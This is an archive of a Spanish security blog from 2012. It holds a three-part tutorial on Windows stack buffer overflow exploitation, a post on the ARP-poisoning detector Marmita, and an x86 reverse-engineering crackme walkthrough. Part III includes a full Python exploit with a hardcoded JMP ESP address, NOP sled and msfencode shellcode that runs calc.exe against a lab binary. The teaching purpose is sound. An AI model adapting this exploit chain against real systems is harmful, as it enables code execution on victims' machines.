sábado, 31 de marzo de 2012

Explotación de vulnerabilidades - Stack Buffer Overflow (Parte III)

En la anterior entrada de la serie de explotación de “Stack Buffer Overflow”, se vio cómo detectar si nuestra aplicación era vulnerable y cómo averiguar la posición exacta de la dirección de retorno. Hoy se procederá con los siguientes pasos para poder realizar ejecución de código arbitrario en la aplicación vulnerable.

3 - Salto a la shellcode

Como ya se comentó en la entrada anterior, es necesario realizar un salto a nuestra ShellCode para que esta sea ejecutada y consigamos nuestro objetivo. Para realizar este proceso, deberemos averiguar la dirección exacta de nuestra ShellCode y sobrescribir la dirección de retorno con ese valor.

Se me ocurren dos modos simples de almacenar nuestra ShellCode en memoria.

image

  1. Después de la dirección de retorno: Únicamente deberemos sobrescribir la dirección de retorno con la siguiente dirección de la PILA, la cual coincidirá con el inicio de la ShellCode.
  2. Antes de la dirección de retorno: Debido a que anteriormente se está utilizando la PILA para almacenar información, este es un buen sitio para alojar nuestra ShellCode. Hay que tener en cuenta que dicho espacio es mucho más limitado que la primera opción.

PROBLEMA:

Si os habéis fijado en las capturas donde salía información de las direcciones de la PILA, estas siempre empezaban con el valor “0x00”. Esto es un problema, ya que si intentamos sobrescribir la dirección de retorno con una dirección similar a “0x002205F2”, la aplicación procesará el valor “00” como final de cadena y no conseguiremos sobrescribir la dirección de retorno correctamente, por lo que no conseguiremos explotar la vulnerabilidad.

Posible SOLUCIÓN:

Librerías de Windows como KERNEL32.dll o NTDLL.dll, son cargadas siempre en la misma dirección de memoria (problema que solventa ASLR) por una aplicación, estas disponen de conjuntos de instrucciones que realizan saltos a ESP (JMP ESP o CALL ESP), de los cuales nos podemos aprovechar para saltar a nuestra ShellCode. Un ejemplo visual del proceso de explotación podría ser el siguiente.

image

NOTA: El problema anteriormente explicado, no siempre se encuentra, en vulnerabilidades donde el exploit es enviado mediante protocolos de red o se encuentra en un fichero que posteriormente utilizará la aplicación, no haría falta realizar este paso intermedio.

4 - Creación del exploit

La fase de la creación del exploit se basa en unificar todos los apartados anteriores desarrollando un código que los interprete.

La estructura que podemos utilizar para este tipo de exploits es la siguiente:

Exploit = Buffer + RET + ShellCode

NOTA: El código fuente del exploit será realizando en el lenguaje Python, sencillo y fácil de interpretar.

Como ya se vio en la anterior entrega, el buffer necesario hasta llegar a la dirección de retorno eran 28 bytes, por lo que iniciaremos el exploit con una cadena con esa cantidad de bytes.

Buffer = "\x41"*28

El valor que utilizaremos para sobrescribir la dirección de retorno en este caso es 0x7C86467B, asociado a la instrucción “JMP ESP” de la librería Kernel32.dll en un Windows XP SP3 en español. Una forma rápida de conseguir este tipo de direcciones es mediante la búsqueda de la cadena “JMP ESP”, una vez la aplicación vulnerable ha sido desensamblada o utilizando la herramienta FindJmp.

RET = "\x7b\x46\x86\x7c" # 0x7c86467b en Little-endian

Hasta aquí ya se habrá conseguido que la aplicación realice un salto a la librería Kernel32.dll, para posteriormente saltar a nuestra ShellCode mediante la instrucción “JMP ESP”, únicamente faltaría introducir nuestra ShellCode en el exploit para que al vulnerar la aplicación esta realice la función que nosotros queramos.

Para la generación de nuestra ShellCode utilizaremos la aplicación msfpayload y msfencode del framework de mestasploit. En nuestro caso nos bastará con ejecutar una calculadora para comprobar la explotación de la vulnerabilidad, aunque podríamos realizar otro tipo de funciones cómo: ejecución de cualquier aplicación del sistema operativo, apertura de puertos asociados a una Shell del SO, conexiones inversas, etcétera.

Comando: ruby msfpayload windows/exec cmd=calc.exe R | ruby msfencode -b '\x00\x09\x20\x22' -t c

Resultado:

"\xd9\xc9\xd9\x74\x24\xf4\xb8\xba\xb2\x07\x97\x5b\x2b\xc9"
"\xb1\x33\x83\xeb\xfc\x31\x43\x13\x03\xf9\xa1\xe5\x62\x01"
"\x2d\x60\x8c\xf9\xae\x13\x04\x1c\x9f\x01\x72\x55\xb2\x95"
"\xf0\x3b\x3f\x5d\x54\xaf\xb4\x13\x71\xc0\x7d\x99\xa7\xef"
"\x7e\x2f\x68\xa3\xbd\x31\x14\xb9\x91\x91\x25\x72\xe4\xd0"
"\x62\x6e\x07\x80\x3b\xe5\xba\x35\x4f\xbb\x06\x37\x9f\xb0"
"\x37\x4f\x9a\x06\xc3\xe5\xa5\x56\x7c\x71\xed\x4e\xf6\xdd"
"\xce\x6f\xdb\x3d\x32\x26\x50\xf5\xc0\xb9\xb0\xc7\x29\x88"
"\xfc\x84\x17\x25\xf1\xd5\x50\x81\xea\xa3\xaa\xf2\x97\xb3"
"\x68\x89\x43\x31\x6d\x29\x07\xe1\x55\xc8\xc4\x74\x1d\xc6"
"\xa1\xf3\x79\xca\x34\xd7\xf1\xf6\xbd\xd6\xd5\x7f\x85\xfc"
"\xf1\x24\x5d\x9c\xa0\x80\x30\xa1\xb3\x6c\xec\x07\xbf\x9e"
"\xf9\x3e\xe2\xf4\xfc\xb3\x98\xb1\xff\xcb\xa2\x91\x97\xfa"
"\x29\x7e\xef\x02\xf8\x3b\x1f\x49\xa1\x6d\x88\x14\x33\x2c"
"\xd5\xa6\xe9\x72\xe0\x24\x18\x0a\x17\x34\x69\x0f\x53\xf2"
"\x81\x7d\xcc\x97\xa5\xd2\xed\xbd\xc5\xb5\x7d\x5d\x24\x50"
"\x06\xc4\x38"

Me gustaría resaltar el parámetro “-b” del comando msfencode, utilizado para descartar los valores introducidos en el resultado de la ShellCode, muy útil cuando se sabe que ciertos valores no son bien interpretados por la aplicación.

Debido que la aplicación se explota a través de la introducción de una cadena por sus argumentos, en el propio exploit, llamaremos a la aplicación para así pasarle nuestra cadena y conseguir la ejecución de código.

El código final del exploit quedaría del siguiente modo:

'''
Title: Stack Buffer Overflow Exploit - Sencillo
Author: Daniel Romero Perez
Mail: unlearnsecurity@gmail.com
Blog: unlearningsecurity.blogspot.com
'''
import os

#Buffer
Buffer = "\x41"*28
#RET
RET = "\x7b\x46\x86\x7c"
#Nops
Nops = "\x90"*10
# ShellCode (msfpayload windows/exec cmd=calc.exe R | msfencode -b '\x00\x09\x20\x22' -t c)
ShellCode = ("\xd9\xc9\xd9\x74\x24\xf4\xb8\xba\xb2\x07\x97\x5b\x2b\xc9"
"\xb1\x33\x83\xeb\xfc\x31\x43\x13\x03\xf9\xa1\xe5\x62\x01"
"\x2d\x60\x8c\xf9\xae\x13\x04\x1c\x9f\x01\x72\x55\xb2\x95"
"\xf0\x3b\x3f\x5d\x54\xaf\xb4\x13\x71\xc0\x7d\x99\xa7\xef"
"\x7e\x2f\x68\xa3\xbd\x31\x14\xb9\x91\x91\x25\x72\xe4\xd0"
"\x62\x6e\x07\x80\x3b\xe5\xba\x35\x4f\xbb\x06\x37\x9f\xb0"
"\x37\x4f\x9a\x06\xc3\xe5\xa5\x56\x7c\x71\xed\x4e\xf6\xdd"
"\xce\x6f\xdb\x3d\x32\x26\x50\xf5\xc0\xb9\xb0\xc7\x29\x88"
"\xfc\x84\x17\x25\xf1\xd5\x50\x81\xea\xa3\xaa\xf2\x97\xb3"
"\x68\x89\x43\x31\x6d\x29\x07\xe1\x55\xc8\xc4\x74\x1d\xc6"
"\xa1\xf3\x79\xca\x34\xd7\xf1\xf6\xbd\xd6\xd5\x7f\x85\xfc"
"\xf1\x24\x5d\x9c\xa0\x80\x30\xa1\xb3\x6c\xec\x07\xbf\x9e"
"\xf9\x3e\xe2\xf4\xfc\xb3\x98\xb1\xff\xcb\xa2\x91\x97\xfa"
"\x29\x7e\xef\x02\xf8\x3b\x1f\x49\xa1\x6d\x88\x14\x33\x2c"
"\xd5\xa6\xe9\x72\xe0\x24\x18\x0a\x17\x34\x69\x0f\x53\xf2"
"\x81\x7d\xcc\x97\xa5\xd2\xed\xbd\xc5\xb5\x7d\x5d\x24\x50"
"\x06\xc4\x38");

#Payload
payload = Buffer + RET + Nops + ShellCode
#Argumentos
args = ('arg0', payload)
#Ejecucion de la app con argumentos
data = os.execv("C:\\Documents and Settings\\admin\\Escritorio\\app_vulnerable.exe" ,args)

Si os fijáis se ha introducido en el código la cadena (Nops = "\x90"*10), siempre es bueno añadir algunos NOP’s antes de la ShellCode para solventar problemas de alineación al ejecutar la misma.

Ejecutamos el exploit y.. FUNCIONA!!, hemos conseguido ejecutar código arbitrario en una aplicación vulnerable, dando como resultado una calculadora.

Añado un esquema de lo sucedido interiormente en la aplicación para aclarar la ejecución del código.

image

1.  Sobrescribimos la PILA con el buffer generado en el exploit, remarcando la dirección de memoria de la librería Kernel32.dll.
2.  Al finalizar la subfunción y ejecutar la instrucción RETN, saltaremos a la librería Kernel32.dll sobrescribiendo el registro EIP.
3.  Se ejecuta la instrucción “JMP ESP” y saltamos a nuestra ShellCode.
4.  Ejecutamos el código de nuestra ShellCode y aparece nuestra calculadora.

Existen distintas formas de realizar el salto hacia nuestra ShellCode para conseguir la ejecución de código en nuestra aplicación vulnerable, en futuras entradas detallaré algunas de ellas.

NOTA: Me gustaría aclarar que para la realización del ejemplo anterior, no han intervenido ningún tipo de protección en el ejecutable tales como SafeSEH, DEP, ASLR, etcétera.

Con esto finaliza la serie de entradas “Explotación de vulnerabilidades - Stack Buffer Overflow”, espero que os haya gustado ;)

Un Saludo!!

sábado, 24 de marzo de 2012

Explotación de vulnerabilidades - Stack Buffer Overflow (Parte II)

Tal y como comenté en la anterior entrada, donde vimos los principios básicos de la vulnerabilidad Stack Buffer Overflow, hoy pasaremos a explicar como podemos sacarle más partido a esta vulnerabilidad, llegando a la ejecución de código arbitrario en la aplicación objetivo.

Para llevar a cabo la explotación de este tipo de vulnerabilidad es necesario que aclare cuatro conceptos que no se vieron en detalle en la serie de entradas “introducción a la ingeniería inversa”.

Registro EIP (Extended Instruction Pointer): Este registro apunta a la siguiente dirección de memoria que el procesador va a ejecutar.

image

Si os fijáis en la captura anterior después de almacenar en la PILA la cadena “Enter your name:”, se indica en el registro EIP la dirección de memoria 0x004013E8, la cual es la siguiente del código a ejecutar, en este caso la función printf.

Instrucción RETN: Es la instrucción encargada de recoger el valor de ESP y almacenarlo en el registro EIP, de este modo el valor de ESP será la próxima dirección de memoria que el procesador va a ejecutar.

image

Dirección de retorno: Es el valor exacto que nos indica la dirección de memoria donde habíamos dejado la aplicación ante de entrar en una subfunción, para así cuando esta termine volver a la posición exacta donde nos quedamos. Este valor se encontrará almacenado en la siguiente dirección de memoria del EBP de la subfunción. Podéis entenderlo de una forma más clara con la imagen de la explicación de la PILA de primer post de la serie “introducción la ingeniería inversa”.

Shellcode: Si pensamos en una definición genérica, podemos decir que se trata de la acción u orden que se desea realizar una vez hemos explotado una vulnerabilidad. Para algo más completo, os dejo la definición de la Wikipedia.

Una vez hemos afianzados estos términos, pasamos a explicar cómo aprovecharnos de la vulnerabilidad “Stack Buffer Overflo”. Supongo que ya os habréis echo una idea de lo que necesitamos conseguir, de forma rápida podemos decir que nuestro principal objetivo es llegar a sobrescribir la dirección de retorno (almacenada en la PILA) con un valor que apunte a nuestra shellcode. De este modo conseguiremos que al ejecutarse la instrucción RETN de la subfunción, la aplicación vulnerable ejecute el código (shellcode) que nosotros queramos.

Para no perder la costumbre, realizaremos un ejemplo sencillo con la función vulnerable strcpy y con el siguiente código:

image

Si os fijáis el código es muy simple. En la primera función realizamos una llamada a la segunda pasando como parámetro el primer argumento de la aplicación, mientras en la segunda función, recogemos dicho argumento y lo copiamos a una variable local de 16 bytes.

El proceso de explotación lo voy a dividir en cuatro partes:

1 - Detección de la vulnerabilidad

Existen multitud de formas de detectar la existencia de la vulnerabilidad “Stack Buffer Overflow” en una aplicación, aunque pocas de ellas se pueden considerar sencillas, nosotros no vamos a tener problemas al disponer del código.

Al tratarse de una vulnerabilidad “Buffer Overflow”, una forma sencilla de detectarla, es mediante la introducción de una cadena lo suficientemente larga para que sobrescriba parte de la PILA de la aplicación y así dejarla sin funcionalidad.

image

Al debuggear la aplicación añadiendo una ristra de “X” como argumento, se puede identificar la PILA sobrescrita con el valor “58”, la letra “X” mayúscula en hexadecimal. Si leemos el mensaje de error, nos indica que la dirección de memoria 0x58585858 no puede ser leída por la aplicación, lo que nos indica que hemos llegado a sobrescribir un valor de la PILA que posteriormente iba a ser utilizado como dirección que ejecutaría alguna instrucción, en nuestro caso la dirección de retorno.

2 - Localización de la dirección de retorno

La localización de la dirección de retorno en la explotación de este tipo de vulnerabilidad es clave, ya que es necesario sobrescribir la misma con la dirección que nosotros queramos, para que posteriormente el procesador tome dicha dirección como el próximo punto de salto.

¿Pero cómo sabemos su posición exacta?

Debido a que hemos introducido siempre el mismo carácter, no es posible identificar que posición exacta es la de la dirección de retorno. Un modo rápido es ir utilizando diferentes caracteres en el buffer para posteriormente cotejar con la dirección del mensaje de error, o utilizar la aplicación pattern_create.rb del framework metasploit, encargada de generar buffers sin repeticiones.

image

Introducimos los caracteres generados como argumento y observamos la nueva dirección que nos proporciona el error.

image

A diferencia del anterior error, este nos está devolviendo la dirección 0x62413961. Si nosotros transformamos dicho valor a ASCII, obtendríamos la siguiente cadena “bA9a”, el cual sería erróneo ya que la forma de almacenar valores en la pila es Little-endian.

image

Por lo que haría falta invertir el orden de la dirección y transformar el valor a ASCII:

image

Si buscamos la cadena obtenida en la ristra de caracteres generada por la aplicación pattern_create.rb, podremos localizar el primer carácter en la posición 29, con lo cual, existen 28 caracteres (bytes) antes de la dirección de retorno.

Sustituiremos los valores 29, 30, 31 y 32 con el carácter “X” para comprobar rápidamente que concuerdan con los valores de la dirección de retorno.

Cadena: 

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8AXXXX0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac
3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

image

De este modo ya sabemos la posición exacta donde se encuentra la dirección de retorno. Como ayuda, podíamos haber utilizado la aplicación pattern_offset.rb de framework metasploit, que realiza el trabajo de búsqueda por nosotros.

image

Con esto finaliza la entrada de hoy, en la próxima entrega veremos como llegar a explotar la vulnerabilidad saltando a nuestra shellcode anteriormente introducida en la PILA.

Un Saludo!!

domingo, 18 de marzo de 2012

Explotación de vulnerabilidades - Stack Buffer Overflow (Parte I)

Si nos ponemos a analizar la gran cantidad de vulnerabilidades que salen diariamente en portales como securityfocus.org, secunia.com, packetstormsecurity.org, etcétera. estoy seguro que la vulnerabilidad “Stack Buffer Overflow” es protagonista en más de una ocasión.

Muchos de vosotros habréis oído hablar de dicho fallo, pero para aquellos que no lo tengáis tan claro os pongo una pequeña descripción de la Wikipedia (http://en.wikipedia.org/wiki/Stack_buffer_overflow):

“In software, a stack buffer overflow occurs when a program writes to a memory address on the program's call stack outside of the intended data structure; usually a fixed length buffer.”

Es decir, la vulnerabilidad Stack Buffer Overflow ocurre cuando una aplicación no controla correctamente el número de bytes que son almacenados en una dirección de memoria previamente reservada, de forma que la cantidad de bytes que se van a almacenar son superiores a los reservados.

Si recordáis en la primera entrada de la serie introducción a la ingeniería inversa, veíamos como se almacenaban los datos en el fragmento de la stack que se reservaba para una función. Aun así vamos a recordarlo.

Pongo primero el código en lenguaje C para que os resulte más sencilla la interpretación en ensamblador.

image

Si os fijáis, se están estableciendo dos variables: la varaible “pass” que se iguala a ocho letras “a” en minúsculas y la variable “name” que es solicitada por teclado. Tal y como está generado el código, es imposible acceder a la función printf “This is imposible!!”, ya que la variable “pass” nunca es modificada. Pero, ¿realmente esto es cierto?, y como una imagen vale más que mil palabras, vamos a ver el estado de la pila justo antes de realizar la comparación de cadenas.

image

He intentado aclarar lo máximo posible la imagen para que no resulte muy complicada, aun así haré una pequeña descripción.

- 0x004013C6: Reserva/Añade el espacio necesario en la PILA para realizar operaciones y almacenar las variables locales.
- 0x004013CE a 0x004013DD: Almacena la variable local “pass” en la PILA.
- 0x004013ED a 0x004013FC: Almacena la cadena introducida por teclado mediante la función “scanf” en el espacio de la PILA reservado para la variable “name”.

Una vez entendido como se almacenan las variables locales en la pila, supongo que ya sabréis a donde quiero llegar.

Aquí es donde nos encontramos la vulnerabilidad “Stack Buffer Overflow”, ¿Qué pasaría si al pedirnos que introduzcamos nuestro nombre, le asignamos una cadena que supere los 8 bytes reservados para la variable “name”?

Vamos ha realizar la prueba con la cadena “YYYYYYYYYYYYYYYY”, dieciséis “Y”.

image

Como se puede observar en la captura anterior, hemos podido sobrescribir la variable “pass” añadiendo una cadena más grande que la esperada. En este caso existían la variable “name” de 8 bytes y la variable “pass” de 8 bytes, al introducir una cadena de 16 bytes por teclado podremos sobrescribir el contenido de la variable “pass”.

Con lo visto, solo necesitaríamos una cadena de dieciséis bytes donde los últimos 8 bytes fueran la cadena “pa$$word” para poder sobrescribir la variable “name” y así acceder al printf “This is imposible!!” que en un principio no era posible acceder.

image

Así de sencillo ;) Para esta entrada he decidido realizar el ejemplo más básico que se me ha ocurrido y así llegar a entender de un modo simple los conceptos básicos de la vulnerabilidad “Stack Buffer Overflow”.

No solo es posible realizar este tipo de acciones una vez te has aprovechado de esta vulnerabilidad, algunas de las acciones que se me ocurren son:

- Ejecución de comando
- Alterar el comportamiento de la aplicación
- Denegaciones de Servicio
- Elevación de privilegios

Un ejemplo rápido de como provocar una denegación de servicio sobre la aplicación, se podría realizar introduciendo una cadena de caracteres lo suficientemente larga.

image

La explicación a la Denegación de Servicio es muy sencilla, al igual que la aplicación sobrescribe el espacio de memoria reservado para las variables locales, al seguir introduciendo caracteres en la PILA se seguirá llenando hasta sobrescribir las direcciones necesarias para el correcto funcionamiento de la aplicación.

Hasta aquí una pequeña introducción de la vulnerabilidad “Stack Buffer Overflow”. En las próximas entradas veremos cómo llegar a realizar ejecución de comandos y haremos algún que otro exploit para aplicaciones conocidas.

Un Saludo!!

miércoles, 14 de marzo de 2012

¡Marmita 1.3 is out!

imageEsta mañana de camino al trabajo, he recibido un mensaje del señor Thor que decía: Marmita is out! Sorprendido y después de leerme el post que Chema ha dedicado a la herramienta en elladodelmal, he decidido explicar de manera rápida qué es esto de Marmita.

Marmita fue una aplicación desarrollada por Ignacio Merino y yo (Daniel Romero) encargada de detectar ataques ARP Poisoning como resultado de un proyecto de final de Máster en la Universidad Europea de Madrid.

El desarrollo de la aplicación quedó medio abandonada a excepción de en ocasiones que realizaba algunos arreglillos de fallos que me decían o características que se me ocurrían. Hasta el día que Thor decidió enganchar la herramienta y darle un toque de calidad de desarrollo, y así agregó la segunda funcionalidad de Marmita, la detección de ataques de DHCP.

En un principio tal y como se indicó en la descripción inicial del proyecto, buscábamos algo que aportar a la comunidad, y después de hacer un estudio de las muchas herramientas de detección de Man In The Middle (ARP Poisoning) del mercado, decidimos decantarnos por una herramienta con las siguientes características:

- Plataforma Windows (desarrollada en C#)
- Licencia Freeware
- Interface Gráfica
- Facilidad de uso
- Molestar lo menos posible
- Y ofrecer el máximo de funcionalidades

Destacando la facilidad de uso pensada para usuarios con pocos conocimientos de informática y las características que implementaba la herramienta obtuvimos la siguiente tabla.

image

¿Y cómo se consiguieron cada una de estas características?

Detección del Ataque:

Marmita al iniciarse, se crea su propia tabla ARP virtual (a través de la local del sistema) con la que trabajará durante toda su ejecución. Al mismo tiempo escucha en la interface de red indicada, por si van llegando nuevos paquetes ARP y así añadirlos a la tabla virtual.

Para explicar el método de detección lo haré mediante un diagrama de flujos muy sencillo.

image

Aviso del Ataque:

Debido a que no se quería herramienta molesta se decidió que la aplicación se “escondiera” en la barra de tareas, y desde allí avisara de los ataques que se estaban realizando.

image

Una vez ya has sido avisado, puedes abrir la aplicación y visualizar de una forma rápida diferente información sobre el ataque (tipo de ataque, IP del atacante, MAC del atacante, fecha y hora del ataque y nombre del equipo que está atacando).

image

Si se quisiera más información de los ataques, se dispone de una pestaña “History Attacks” que dispone de un historial de ataques desde la última vez que se ejecutó la aplicación.

Mitigación del Ataque:

Una de las características que echamos en falta en las aplicaciones del estudio, fue la mitigación del ataque. Después de darle vueltas al asunto, una solución rápida que se nos ocurrió, fue la de rellenar la tabla ARP local con la ruta estática de la otra víctima, indicando la IP y la MAC correctas.

Dicha mitigación podría llegar a resultar un problema de comunicación si estas rutas no se borraban de la tabla ARP local. Así que se implementó un sistema para detectar cuando un ataque había finalizado, de este modo podríamos eliminar la ruta ARP agregada anteriormente.

Aviso de fin de Ataque:

El sistema de detección de fin de ataque, se basa en un simple contador de dos barridos, si una vez que se ha cumplido dicho tiempo no se han recibido más paquetes de ataque este se considerará finalizado.

image

Panel de configuración:

La configuración de Marmita permite diversas opciones entre las cuales se podemos observar: ejecución de la herramienta al inicio de Windows, mitigación automática, almacenar las excepciones, tiempo de barrido, detección de ataques DHCP, resolución de nombres, etcétera.

image

Como funciones extras para facilitar la tarea al usuario existen otras pestañas:

- Analizador de paquetes ARP
- Lista de excepciones
- Registro histórico de los ataques (LOGS)
- Histórico de ataques DHCP

Disculpad la falta de descripción sobre la detección de ataques DHCP pero esta parte la desarrollo integra Thor, ya intentaré convencerle de que me escriba una pequeña entrada explicando algo de esto :P

Por último agradecer a toda la gente de Informática64 en especial a Alejandro Martín, Chema Alonso y Manuel Fernández “The Sur” que sin su ayuda la herramienta no hubiera sido ni la mitad de lo que es :)

Podéis descargar Marmita 1.3 desde el siguiente enlace [Marmita_1.3], o desde la web de Informática64.

Se admiten todo tipo de quejas, fallos, opiniones, ideas, etcétera.

Un Saludo!!

jueves, 8 de marzo de 2012

[Documento] - Introducción a la Ingeniería Inversa en x86

clip_image002Una vez finalizada la serie de introducción a la ingeniería inversa en procesadores x86, he decidido agrupar las cinco entradas de la serie en un fichero con formato PDF para que os sea más cómodo leeros el manual completo.

Os dejo las cinco entradas de la serie como recopilatorio:

- Introducción a la ingeniería inversa x86 (Parte I)
- Introducción a la ingeniería inversa x86 (Parte II)
- Introducción a la ingeniería inversa x86 (Parte III)
- Introducción a la ingeniería inversa x86 (Parte IV)
- Introducción a la ingeniería inversa x86 (Parte V)

Y aquí la dirección del recopilatorio en PDF: Doc_Ing_Inversa.pdf

Os dejo también dos mirrors alojados en otros dominios:

- Exploit-db: http://cdn03.exploit-db.com/wp-content/themes/exploit/docs/18568.pdf
- PacketStormSecurity: http://packetstormsecurity.org/files/110552/Introduction-To-Reverse-Engineering-x86.html

Y ya que más de uno me lo habéis pedido, pronto subiré el documento traducido al inglés.

Un Saludo!!

lunes, 5 de marzo de 2012

Introducción a la ingeniería inversa x86 (Parte V)

Hoy, para finalizar la serie de entregas de introducción a la ingeniería inversa realizaremos un sencillo ejercicio o crackme, en el cual podremos aplicar los conocimientos adquiridos en las anteriores entregas y así poder resolver el ejercicio.

Os dejo las cuatro entradas anteriores de la serie por si queréis repasarlas:

- Introducción a la ingeniería inversa x86 (Parte I)
- Introducción a la ingeniería inversa x86 (Parte II)
- Introducción a la ingeniería inversa x86 (Parte III)
- Introducción a la ingeniería inversa x86 (Parte IV)

El fichero que pretendemos analizar se encuentra disponible en las siguiente url: Ejercicio ingeniería inversa

MD5 (fichero .exe): c12ca49829f6a340e944936ffb1f2cde
SHA1 (fichero .exe): d3f9b9a2c0e8624aae672c3e9a4f1a00e740659b

Una vez descargado el binario lo ejecutamos y visualizamos como nos pide un password de instalación, el cual mediante ingeniería inversa tendremos que averiguar. (Recalco averiguar porque obviaremos la parte de modificar el ejecutable para saltarnos la comprobación)

image

Si desensamblamos el binario nos encontrarnos dos funciones importantes (sub_4013C0 y sub_401424), que serán las encargadas de realizar los cálculos y de informar de si el password es el correcto respectivamente.

Analizaremos cada una de las funciones en busca como se genera el password, detallando las instrucciones más importantes y las que nos llevarán a solucionar el reto.

Función sub_4013C0: (Voy a dividir en dos la función para facilitar su visualización)

image

- 0x004013CE: Se almacena en la dirección [esp+31] el valor hexadecimal 64 correspondiente a la letra “d” del abecedario.
- 0x004013D3: Se almacena en la dirección [esp+24] el valor entero “5”.
- 0x004013E2: Se llama a la función printf con el texto “Installation password: “ en ESP.
- 0x004013E7: La función getchar() almacena en AL (los primero 8 bits del registro EAX) el carácter introducido por teclado. Esto ya nos da una pista de que datos se están guardando para posteriormente trabajar con ellos. En este caso se almacena el primer byte introducido por teclado, el cual se puede asociar al primer número, carácter o símbolo introducido. Por lo que si asignamos como password “hola” la función getchar() únicamente se quedará con el carácter “h”.
- 0x004013F0: Se almacena el valor introducido por teclado en AL (EAX).
- 0x004013F4: Se almacena el inicializado anteriormente “d” en DL (EDX).

image

- 0x004013F8: Se realiza la operación lógica XOR sobre EAX y EDX.
- 0x00401410: Se almacena el resultado del XOR en ESP+4
- 0x00401418: Se almacena la variable inicializada anteriormente “5” en ESP.
- 0x0040141B: Esta instrucción es la última “útil” de la función, en la cual se realiza una llamada a una nueva función, hay que tener en cuenta que en las funciones anteriores se han almacenado valores en la ESP para utilizarlos en esta función.

Hasta aquí ya sabemos que:

- Se almacena el primer byte introducido por teclado
- Se almacena el valor “d”
- Se realiza un XOR de los valores anteriores
- Se llama a la función sub_401424 pasándole el valor resultante del XOR y el valor “5”.

Función sub_401424:

image

- 0x0040142A y 0x0040142D: Se almacenan los valores pasados anteriormente en EAX y EDX.
- 0x0040141B: Sumamos EAX y EDX y lo almacenamos en EAX.
- 0x00401433: Comparamos el resultado (EAX) con el valor hexadecimal 1B, en decimal 27.
- 0x00401436: Se realiza un salto JNZ a una dirección (mensaje “sorry, try again!!”) si la comparación es falsa. Como habréis podido imaginar es justamente en esta comprobación donde nos interesa que la comparación sea cierta.

Hasta aquí sabemos:

- Los valores pasados a esta función sumados deben dar 27 para poder resolver el reto.

Con todo lo recopilado hasta ahora podemos decir que: debemos encontrar un carácter, número o símbolo que al realizar un XOR con el carácter “d” y sumándole el valor 5 el resultado sea 27.

Resumido en una fórmula:

image

Si os fijáis, es necesario trabajar en binario para poder identificar el valor correcto. Al tener un único valor al otro lado de la igualdad, es posible realizar la operación XOR entre los dos valores conocidos “22” y “d” de este modo obtendremos el valor correcto.

image

Y el valor en binario “0 1 1 1 0 0 1 0” corresponde con el valor hexadecimal 72 que a su vez corresponde a la letra “r” del abecedario, la cual será la solución a nuestro retro.

Si realizamos la prueba sobre el ejecutable conseguimos que se nos muestre el mensaje “Well Done!!”

image

Aquí finaliza la serie de entradas sobre la introducción a la ingeniería inversa en x86, seguiremos añadiendo nuevos contenidos al blog en poco tiempo.

*Os podéis descargar el código en C del reto desde el siguiente enlace: Código_C_reto

Un Saludo!!